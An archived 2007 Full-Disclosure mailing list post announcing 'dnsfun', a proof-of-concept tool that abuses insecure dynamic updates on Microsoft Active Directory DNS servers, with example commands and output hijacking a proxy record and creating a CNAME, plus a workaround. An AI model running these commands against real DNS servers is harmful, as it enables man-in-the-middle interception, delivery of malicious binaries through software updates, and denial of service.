full-disclosure - Exploiting Microsoft dynamic Dns updates

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Thu, 22 Mar 2007 11:35:18 +0100
From: "Andres Tarasco" <atarasco@...il.com>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: Exploiting Microsoft dynamic Dns updates

Hi list,

By default, most Microsoft DNS servers integrated with active directory
allows
insecure dynamic updates for dns records.
This feature allows remote users to create, change and delete DNS records.
There are several attack scenarios:

+ MITM attacks: Changing dns records for the network proxy and relay HTTP
queries.
  This attack vector is the most reliable and also allows us to exploit
automatic
  updates for most Windows software, by deploying custom binaries to the
client.

 + Denial of service: by deleting / changing critical dns records

 + Pharming: like mitm attacks, poisoning several dns records.

dnsfun exploits that weak configuration and allows remote users to modify
dns records.
Here are some examples of what can be done. Example:

D:\DNSfun>ping -n 1 FakeProxy.fooooo.com
Haciendo ping a FakeProxy.fooooo.com [66.6.66.6] con 32 bytes de datos:

D:\DNSfun>dnsfun.exe -s 10.100.1.1 -q  proxy.mydomain -u 66.6.66.6
Microsoft Dynamic DNS Updates - Proof of Concept
http://www.514.es - (c) 2007 Andres Tarasco Acuña

 [+] Trying to resolve Host: proxy.mydomain (Dns Server 10.100.1.1)
 [+] Host proxy.mydomain resolved as 192.168.1.200
 [+] Trying to set ip address of the host proxy.mydomain to 66.6.66.6
 [+] Trying Nonsecure Dynamic Update...
 [?] Host Updated. Checking...(0)
 [+] Host proxy.mydomain resolved as 66.6.66.6

D:\DNSfun>dnsfun.exe -s 10.100.1.1 -cc atarasco.mydomain.com -u www.514.es
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acuña

[+] Gathering Credentials..
[+] Creating DNS CName Record for atarasco.mydomain.com (www.514.es)
[+] Host Created. Rechecking Record...
[+] Host atarasco.mydomain.com resolved as CNAME www.514.es

This isn't a new vulnerability but AFAIK those attack vectors were never
exploited.
Workaround: Disable dynamic updates or set your dns to only accept secure
updates.

Spanish version and both src+binary are available at
http://www.514.es/2007/03/explotando_actualizaciones_din.html

regards,

Andres Tarasco

Content of type "text/html" skipped

Download attachment "dnsfun.c" of type "application/octet-stream" (15378 bytes)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/